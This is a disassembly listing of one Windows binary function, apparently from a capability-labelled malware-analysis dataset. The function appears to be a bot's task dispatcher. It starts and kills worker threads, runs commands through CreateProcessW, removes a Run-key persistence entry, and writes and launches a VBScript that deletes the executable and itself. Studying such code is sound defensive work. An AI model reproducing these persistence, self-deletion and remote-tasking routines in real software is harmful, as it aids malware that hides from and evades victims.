Function at 0x140005540
Capabilities:
Create thread

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x418
movups xmmword [rsp + 0x400], xmm6
movzx eax, byte [rcx]
mov rbx, rcx
mov rbp, rdx
test al, al
je 0x1400055a6
lea edx, [rax - 6]
cmp dl, 2
ja 0x1400055d0
lea edx, [rax - 4]
cmp dl, 5
ja case.0x14000558d.1
lea rcx, [0x1400c3180]
movzx edx, dl
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
mov rbp, qword [rsp + 0x468]
movabs rax, 0x73736563637553
mov qword [rbp], rax
movups xmm6, xmmword [rsp + 0x400]
mov eax, 1
add rsp, 0x418
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [0x1400f1080], 0
je 0x140005570
movabs rax, 0x2079646165726c41
mov dword [rbp + 0x10], 0x6b7361
movabs rdx, 0x7420612065766168
mov qword [rbp], rax
mov qword [rbp + 8], rdx
jmp 0x1400055a6
lea rsi, [rsp + 0x130]
lea r8, [rsp + 0x78]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea r12, [rsp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea rdx, str.Microsoft_network_service
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, 0x100
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x148], 0
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x158], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x168], 0
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x178], 0
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x188], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x198], 0
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1a8], 0
mov qword [rsp + 0x1b0], 0
mov qword [rsp + 0x1b8], 0
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x1c8], 0
mov qword [rsp + 0x1d0], 0
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], 0
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0x1f8], 0
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x208], 0
mov qword [rsp + 0x210], 0
mov qword [rsp + 0x218], 0
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x228], 0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x63
mov qword [rsp + 0xa0], r12
call fcn.1400bbc20
mov ecx, 0x2228
movabs rdx, 0x20656d7573655220
mov qword [rsp + 0xb0], 0x62
mov rbx, rax
mov qword [rsp + 0xa0], rax
movabs rax, 0x726f727245206e4f
mov qword [rbx], rax
movabs rax, 0x6d69440a7478654e
mov qword [rbx + 8], rdx
movabs rdx, 0x7465530a6f736620
mov qword [rbx + 0x10], rax
movabs rax, 0x43203d206f736620
mov qword [rbx + 0x18], rdx
movabs rdx, 0x6a624f6574616572
mov qword [rbx + 0x20], rax
movabs rax, 0x7263532228746365
mov qword [rbx + 0x28], rdx
movabs rdx, 0x462e676e69747069
mov qword [rbx + 0x30], rax
movabs rax, 0x6574737953656c69
mov qword [rbx + 0x38], rdx
movabs rdx, 0x227463656a624f6d
mov qword [rbx + 0x40], rax
movabs rax, 0x65442e6f73660a29
mov qword [rbx + 0x48], rdx
movabs rdx, 0x656c69466574656c
mov word [rbx + 0x60], cx
mov rcx, rsi
mov qword [rbx + 0x50], rax
mov qword [rbx + 0x58], rdx
mov byte [rbx + 0x62], 0
mov qword [rsp + 0xa8], 0x62
call sub.msvcrt.dll_strlen
mov rbp, rax
lea r13, [rax + 0x62]
test rax, rax
jne 0x140006208
mov qword [rsp + 0xa8], r13
movabs rax, 0x7fffffffffffffff
mov byte [rbx + rbp + 0x62], 0
mov rsi, qword [rsp + 0xa8]
sub rax, rsi
cmp rax, 0x28
jbe 0x14000650c
mov rbx, qword [rsp + 0xa0]
lea rdi, [rsi + 0x29]
cmp rbx, r12
je 0x140006310
mov rax, qword [rsp + 0xb0]
cmp rax, rdi
jb 0x140006400
movabs rdx, 0x442e6f73660a2922
lea rax, [rbx + rsi]
movabs rcx, 0x6c69466574656c65
mov qword [rax], rdx
movabs rdx, 0x7069726353572865
mov qword [rax + 8], rcx
movabs rcx, 0x7470697263532e74
mov qword [rax + 0x18], rcx
movabs rcx, 0x29656d614e6c6c75
mov qword [rax + 0x10], rdx
movabs rdx, 0x467470697263532e
mov qword [rax + 0x19], rdx
mov qword [rax + 0x21], rcx
mov qword [rsp + 0xa8], rdi
lea r14, [rsp + 0x2f8]
lea r13, [rsp + 0x230]
mov byte [rbx + rsi + 0x29], 0
mov rcx, r14
call fcn.1400b33a0
mov rax, qword [str.__r_]
xor edx, edx
pxor xmm0, xmm0
mov word [rsp + 0x3d8], dx
xor edx, edx
add rax, 0x10
movups xmmword [rsp + 0x3e0], xmm0
mov qword [rsp + 0x2f8], rax
mov rax, qword [0x1400c9140]
movups xmmword [rsp + 0x3f0], xmm0
mov rbp, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov qword [rsp + 0x3d0], 0
mov rcx, qword [rbp - 0x18]
mov qword [rsp + 0x230], rbp
add rcx, r13
mov qword [rcx], r15
call fcn.1400b43e0
mov rbx, qword [0x1400c9380]
lea rsi, [rsp + 0x238]
mov rcx, rsi
lea rax, [rbx + 0x18]
mov qword [rsp + 0x230], rax
lea rax, [rbx + 0x40]
mov qword [rsp + 0x2f8], rax
call fcn.14008b850
mov rdx, rsi
mov rcx, r14
call fcn.1400b43e0
mov r8d, 0x10
lea rdx, str.sc.vbs
mov rcx, rsi
call fcn.140089e60
mov rdx, qword [rsp + 0x230]
mov rcx, qword [rdx - 0x18]
add rcx, r13
test rax, rax
je 0x140006300
xor edx, edx
call fcn.1400b45b0
mov r8, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xa0]
mov rcx, r13
call fcn.1400b6a50
mov rcx, rsi
call fcn.14008a2b0
test rax, rax
je 0x1400063e0
xor eax, eax
pxor xmm0, xmm0
mov ecx, 0xc
xor r9d, r9d
lea rdi, [rsp + 0xc8]
xor r8d, r8d
mov qword [rsp + 0x90], 0
lea rdx, str.wscript.exe_sc.vbs
mov qword [rsp + 0xc4], 0
mov qword [rsp + 0x120], 0
movups xmmword [rsp + 0x80], xmm0
rep stosq qword [rdi], rax
lea rax, [rsp + 0x80]
mov dword [rsp + 0xc0], 0x68
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rax, qword [0x1400c9330]
lea rdi, [rbx + 0x18]
xor edx, edx
movq xmm6, rdi
add rax, 0x10
movq xmm1, rax
punpcklqdq xmm6, xmm1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rbx, 0x40
mov rcx, rsi
movups xmmword [rsp + 0x230], xmm6
mov qword [rsp + 0x2f8], rbx
call fcn.14008a2b0
lea rcx, [rsp + 0x280]
call fcn.140083ae0
mov rax, qword [0x1400c93c0]
lea rcx, [rsp + 0x270]
add rax, 0x10
mov qword [rsp + 0x238], rax
call fcn.1400a5480
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x230], rbp
mov rcx, r14
mov qword [rsp + rax + 0x230], r15
mov rax, qword [str.__r_]
add rax, 0x10
mov qword [rsp + 0x2f8], rax
call fcn.1400b3440
mov rcx, qword [rsp + 0xa0]
cmp rcx, r12
je 0x1400055a6
mov rax, qword [rsp + 0xb0]
lea rdx, [rax + 1]
call fcn.1400bbbe0
jmp 0x1400055a6
lea rax, [0x1400f1080]
mov rsi, rbx
xor r8d, r8d
xor r12d, r12d
mov rdi, rax
mov ecx, 0x101
mov edx, 1
rep movsq qword [rdi], qword [rsi]
lea r14, [0x1400f1088]
lea r13, [0x140001920]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov r8d, dword [rbx + 4]
mov rdi, qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400f1040], rax
mov qword [0x1400f1088], rax
lea rax, [0x1400f1050]
mov qword [rsp + 0x58], rax
test r8d, r8d
jle 0x140005598
mov qword [rsp + 0x468], rbp
jmp 0x140005c99
mov qword [rax], rbp
add qword [0x1400f1058], 8
add r12d, 1
cmp dword [rbx + 4], r12d
jle 0x140005590
mov qword [rsp + 0x28], 0
mov r9, r14
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov r8, r13
call rdi
mov rsi, qword [0x1400f1060]
mov rbp, rax
mov rax, qword [0x1400f1058]
cmp rax, rsi
jne 0x140005c80
mov rcx, qword [rsp + 0x58]
mov r8, rax
movabs rdx, 0xfffffffffffffff
mov r10, qword [rcx]
sub r8, r10
mov rcx, r8
sar rcx, 3
cmp rcx, rdx
je 0x140006500
cmp rax, r10
je 0x1400061a0
lea rax, [rcx + rcx]
cmp rax, rcx
jb 0x1400062f0
test rax, rax
jne 0x1400064cf
xor r15d, r15d
xor r9d, r9d
mov qword [r9 + r8], rbp
lea rbp, [r9 + r8 + 8]
test r8, r8
jg 0x1400060b0
test r10, r10
jne 0x1400060c8
mov rax, qword [rsp + 0x58]
mov qword [0x1400f1058], rbp
mov qword [0x1400f1060], r15
mov qword [rax], r9
jmp 0x140005c8b
movzx eax, byte [0x1400f1080]
lea rdi, [rbp + 0xd]
lea rcx, [rbp + 5]
and rdi, 0xfffffffffffffff8
lea rsi, [0x1400f1088]
mov byte [rbp], al
mov eax, dword [0x1400f1084]
sub rcx, rdi
sub rsi, rcx
add ecx, 0x800
mov dword [rbp + 1], eax
mov rax, qword [0x1400f1088]
shr ecx, 3
mov qword [rbp + 5], rax
mov rax, qword [0x1400f1880]
mov qword [rbp + 0x7fd], rax
rep movsq qword [rdi], qword [rsi]
jmp 0x1400055a6
movzx eax, byte [0x1400f1080]
test al, al
je 0x1400061f0
cmp al, 4
je 0x140006428
mov rbx, qword [0x1400f1050]
mov rsi, qword [0x1400f1058]
mov rdx, qword [0x1400f1060]
cmp rbx, rsi
je 0x140006170
mov rdi, qword [sym.imp.KERNEL32.dll_TerminateThread]
nop dword [rax]
mov rcx, qword [rbx]
add rbx, 8
xor edx, edx
call rdi
cmp rsi, rbx
jne 0x140005df0
mov rax, qword [0x1400f1050]
mov rsi, qword [0x1400f1058]
mov rdx, qword [0x1400f1060]
cmp rax, rsi
je 0x140006170
mov qword [0x1400f1058], rax
mov rsi, rax
cmp rax, rdx
je 0x140005e5e
mov qword [0x1400f1050], 0
mov qword [0x1400f1058], 0
mov qword [0x1400f1060], 0
test rsi, rsi
je 0x140005e5e
sub rdx, rsi
mov rcx, rsi
call fcn.1400bbbe0
lea rdx, [0x1400f1080]
mov ecx, 0x101
xor eax, eax
mov rdi, rdx
rep stosq qword [rdi], rax
jmp 0x140005598
xor eax, eax
pxor xmm0, xmm0
mov ecx, 0xc
xor r9d, r9d
lea rdi, [rsp + 0x238]
xor r8d, r8d
mov qword [rsp + 0x140], 0
lea rdx, [rbx + 8]
mov qword [rsp + 0x234], 0
mov qword [rsp + 0x290], 0
movups xmmword [rsp + 0x130], xmm0
rep stosq qword [rdi], rax
lea rax, [rsp + 0x130]
mov dword [rsp + 0x230], 0x68
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140005598
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rbx, [rsp + 0xc0]
mov r8d, 0xa
mov rdx, rbx
mov ecx, eax
call sub.msvcrt.dll__itoa
lea rcx, [rbp + 0x15]
movabs rax, 0x78652074276e6143
movabs rdx, 0x65203a6574756365
mov qword [rbp], rax
movabs rax, 0x20726f727265203a
mov qword [rbp + 8], rdx
mov rdx, rbx
mov qword [rbp + 0xd], rax
call sub.msvcrt.dll_strcpy
jmp 0x1400055a6
cmp al, 5
jne 0x140005f8b
mov dword [rbx + 4], 1
lea rax, [0x1400f1080]
mov ecx, 0x101
mov rsi, rbx
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rbx + 4]
test eax, eax
jle 0x140005598
lea rax, [0x1400f1050]
mov qword [rsp + 0x468], rbp
xor r12d, r12d
mov rdi, qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x58], rax
lea r15, [0x1400c0020]
lea r14, [0x1400f1088]
jmp 0x140005ff9
mov qword [rax], rbp
add qword [0x1400f1058], 8
add r12d, 1
cmp dword [rbx + 4], r12d
jle 0x140005590
movsx rax, byte [rbx]
mov r9, r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r8, qword [r15 + rax*8]
call rdi
mov rsi, qword [0x1400f1060]
mov rbp, rax
mov rax, qword [0x1400f1058]
cmp rax, rsi
jne 0x140005fe0
mov rcx, qword [rsp + 0x58]
mov r8, rax
movabs rdx, 0xfffffffffffffff
mov r10, qword [rcx]
sub r8, r10
mov rcx, r8
sar rcx, 3
cmp rcx, rdx
je 0x140006500
cmp rax, r10
je 0x140006180
lea rax, [rcx + rcx]
cmp rax, rcx
jb 0x1400062e0
xor r13d, r13d
xor r9d, r9d
test rax, rax
jne 0x14000611d
mov qword [r9 + r8], rbp
lea rbp, [r9 + r8 + 8]
test r8, r8
jg 0x1400060e8
test r10, r10
jne 0x140006100
mov rax, qword [rsp + 0x58]
mov qword [0x1400f1058], rbp
mov qword [0x1400f1060], r13
mov qword [rax], r9
jmp 0x140005feb
mov rdx, r10
mov rcx, r9
mov qword [rsp + 0x60], r10
call fcn.14001c9f8
mov r10, qword [rsp + 0x60]
mov r9, rax
sub rsi, r10
mov rcx, r10
mov qword [rsp + 0x60], r9
mov rdx, rsi
call fcn.1400bbbe0
mov r9, qword [rsp + 0x60]
jmp 0x140005d34
mov rdx, r10
mov rcx, r9
mov qword [rsp + 0x60], r10
call fcn.14001c9f8
mov r10, qword [rsp + 0x60]
mov r9, rax
sub rsi, r10
mov rcx, r10
mov qword [rsp + 0x60], r9
mov rdx, rsi
call fcn.1400bbbe0
mov r9, qword [rsp + 0x60]
jmp 0x140006091
movabs rcx, 0xfffffffffffffff
cmp rax, rcx
cmova rax, rcx
lea r13, [rax*8]
nop word cs:[rax + rax]
mov rcx, r13
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x60], r10
call fcn.1400bbc20
mov r8, qword [rsp + 0x68]
mov r10, qword [rsp + 0x60]
mov rsi, qword [0x1400f1060]
mov r9, rax
add r13, rax
jmp 0x14000607e
cmp rdx, rsi
jne 0x140005e2d
jmp 0x140005e5e
add rcx, 1
jb 0x1400062e0
cmp rcx, rdx
mov rax, rdx
cmovbe rax, rcx
mov r13, rax
shl r13, 3
jmp 0x140006140
add rcx, 1
jb 0x1400062f0
movabs rax, 0xfffffffffffffff
cmp rcx, rax
cmovbe rax, rcx
mov r15, rax
shl r15, 3
mov rcx, r15
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x60], r10
call fcn.1400bbc20
mov r10, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
mov rsi, qword [0x1400f1060]
mov r9, rax
add r15, rax
jmp 0x140005d19
movabs rax, 0x6b736174206f4e
mov qword [rbp], rax
jmp 0x1400055a6
cmp r13, 0xc3
jbe 0x1400063d0
lea rcx, [rax + 0x63]
mov r14, r13
call fcn.1400bbc20
mov rbx, rax
mov rax, qword [rsp + 0xa0]
movdqu xmm2, xmmword [rax]
movups xmmword [rbx], xmm2
movdqu xmm3, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm3
movdqu xmm4, xmmword [rax + 0x20]
movups xmmword [rbx + 0x20], xmm4
movdqu xmm5, xmmword [rax + 0x30]
movups xmmword [rbx + 0x30], xmm5
movdqu xmm2, xmmword [rax + 0x40]
movups xmmword [rbx + 0x40], xmm2
movdqu xmm3, xmmword [rax + 0x50]
movups xmmword [rbx + 0x50], xmm3
movzx edx, word [rax + 0x60]
mov word [rbx + 0x60], dx
cmp rbp, 1
je 0x140006464
lea rdx, [rbx + 0x62]
cmp ebp, 8
jae 0x140006474
test bpl, 4
jne 0x1400064b5
test ebp, ebp
je 0x1400062a8
movzx ecx, byte [rsp + 0x130]
mov byte [rdx], cl
test bpl, 2
jne 0x1400064ed
nop dword [rax]
cmp rax, r12
je 0x1400062c1
mov rdi, qword [rsp + 0xb0]
mov rcx, rax
lea rdx, [rdi + 1]
call fcn.1400bbbe0
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], r14
jmp 0x1400058d8
movabs r13, 0x7ffffffffffffff8
jmp 0x140006140
movabs r15, 0x7ffffffffffffff8
jmp 0x1400061c2
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.1400b45b0
jmp 0x140005a79
lea rcx, [rsi + 0x2a]
mov rbp, rdi
call fcn.1400bbc20
mov r13, qword [rsp + 0xa0]
mov rbx, rax
test rsi, rsi
je 0x140006344
cmp rsi, 1
je 0x1400064a9
mov r8, rsi
mov rdx, r13
mov rcx, rax
call sub.msvcrt.dll_memcpy
movabs rdx, 0x442e6f73660a2922
lea rax, [rbx + rsi]
movabs rcx, 0x6c69466574656c65
mov qword [rax], rdx
movabs rdx, 0x7069726353572865
mov qword [rax + 8], rcx
movabs rcx, 0x7470697263532e74
mov qword [rax + 0x18], rcx
movabs rcx, 0x29656d614e6c6c75
mov qword [rax + 0x10], rdx
movabs rdx, 0x467470697263532e
mov qword [rax + 0x19], rdx
mov qword [rax + 0x21], rcx
cmp r13, r12
je 0x1400063b4
mov rax, qword [rsp + 0xb0]
mov rcx, r13
lea rdx, [rax + 1]
call fcn.1400bbbe0
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rbp
jmp 0x140005981
mov r14d, 0xc4
mov ecx, 0xc5
jmp 0x14000621c
mov rax, qword [rsp + 0x230]
mov rcx, qword [rax - 0x18]
add rcx, r13
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.1400b45b0
jmp 0x140005aa2
test rdi, rdi
js 0x140006518
lea rbp, [rax + rax]
cmp rdi, rbp
jae 0x140006452
lea rcx, [rbp + 1]
test rbp, rbp
jns 0x140006317
call fcn.1400bdfe0
nop dword [rax]
mov rcx, qword [0x1400f1040]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [0x1400f1040]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x1400f1040], 0
jmp 0x140005e00
mov rcx, rsi
mov rbp, rdi
add rcx, 0x2a
jns 0x140006317
jmp 0x14000641f
movzx edx, byte [rsp + 0x130]
mov byte [rbx + 0x62], dl
jmp 0x1400062a8
mov rcx, qword [rsp + 0x130]
lea rdi, [rbx + 0x6a]
and rdi, 0xfffffffffffffff8
mov qword [rbx + 0x62], rcx
mov ecx, ebp
mov r8, qword [rsi + rcx - 8]
mov qword [rdx + rcx - 8], r8
sub rdx, rdi
sub rsi, rdx
add edx, ebp
shr edx, 3
mov ecx, edx
rep movsq qword [rdi], qword [rsi]
jmp 0x1400062a8
movzx eax, byte [r13]
mov byte [rbx], al
jmp 0x140006344
mov ecx, dword [rsp + 0x130]
mov dword [rdx], ecx
mov ecx, ebp
mov r8d, dword [rsi + rcx - 4]
mov dword [rdx + rcx - 4], r8d
jmp 0x1400062a8
movabs rcx, 0xfffffffffffffff
cmp rax, rcx
cmova rax, rcx
lea r15, [rax*8]
jmp 0x1400061c2
mov ecx, ebp
movzx r8d, word [rsi + rcx - 2]
mov word [rdx + rcx - 2], r8w
jmp 0x1400062a8
lea rcx, str.vector::_M_realloc_insert
call fcn.1400be1d0
lea rcx, section..rdata
call fcn.1400be1d0
lea rcx, [0x1400c3015]
call fcn.1400be1d0
mov rbx, rax
lea rcx, [rsp + 0xa0]
call fcn.1400a63c0
mov rcx, rbx
call fcn.140011d20
mov rcx, rax
call fcn.1400bbd40
call fcn.1400bbe70
jmp 0x140005b88